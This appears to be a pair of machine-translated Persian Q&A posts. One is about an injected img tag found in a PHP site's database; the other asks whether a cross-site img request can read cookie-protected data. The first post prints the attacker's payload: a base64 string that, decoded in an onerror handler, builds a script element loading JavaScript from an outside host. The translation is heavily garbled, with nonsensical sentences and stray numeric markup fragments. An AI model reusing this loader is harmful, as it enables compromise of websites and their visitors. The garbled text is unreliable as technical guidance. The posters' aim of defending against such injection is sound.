نوشته‌شده در

php – JS به پایگاه داده با استفاده از img

چگونه ما بهترین ها را جلوگیری از img تزریق اسکریپت به پایگاه داده هایمان تزریق کنیم؟

اخیرا یک مورد دریافت کردم که در آن این تقلب کننده از شناسه تصویر استفاده می کند که با کد 64 پایه ارزشمند است و با استفاده از رمزگشایی atob برای اجرای اسکریپت خود در سرور پایان ما

من به طور عمدی عملکرد تابع atob را به named_function تغییر دادم "در اسکریپت زیر، چون باعث ایجاد یک iframe در این سایت می شود.

این اسکریپت است. [19659005] img src = /
  id = dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHjlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs
  در صورت بروز خطا، آن را به یک وبسایت با بارهای JS منتهی می کند (19459004) named_function (this.id))>

.
با استفاده از socket.io، به نظر می رسد که یک اسکریپت انعطاف پذیر در iframe برای ایجاد وب سایت ها ایجاد کند.

راه حل فعلی من این است که تنها اجازه تصویر با src با داشتن پسوند تصویر را داشته باشد.

آیا کسی ایده بهتر دارد؟

با تشکر

نوشته‌شده در

http – نوعی از CSRF ممکن است با استفاده از برچسب img برای خواندن اطلاعات حساس باشد

بگذارید بگوییم یک API در https: // mysite / api / getSensitiveData که در GET کار می کند و با کوکی محافظت می شود و برخی از بدی ها یک سایت را روی سرور خود ایجاد می کند که یک برچسب تصویر دارد:

اکنون مرورگر این درخواست را اجرا می کند و کوکی ها را ارسال می کند و داده ها بارگیری می شود (تا آنجا که من حداقل می دانم) و پس از آن که هیچ تصویری نمایش داده نخواهد شد.

اما درخواست در سایت اجرا شد جایی که یک پسر بد جاوا اسکریپت را کنترل می کند. آیا راهی وجود دارد که پاسخ را بتوان از تصویر، برخی از پروسه های درخواست یا روش دیگری خواند؟

P.S. شاید برخی از امکانات مشابه دیگر وجود دارد، لزوما IMG برچسب نیست؟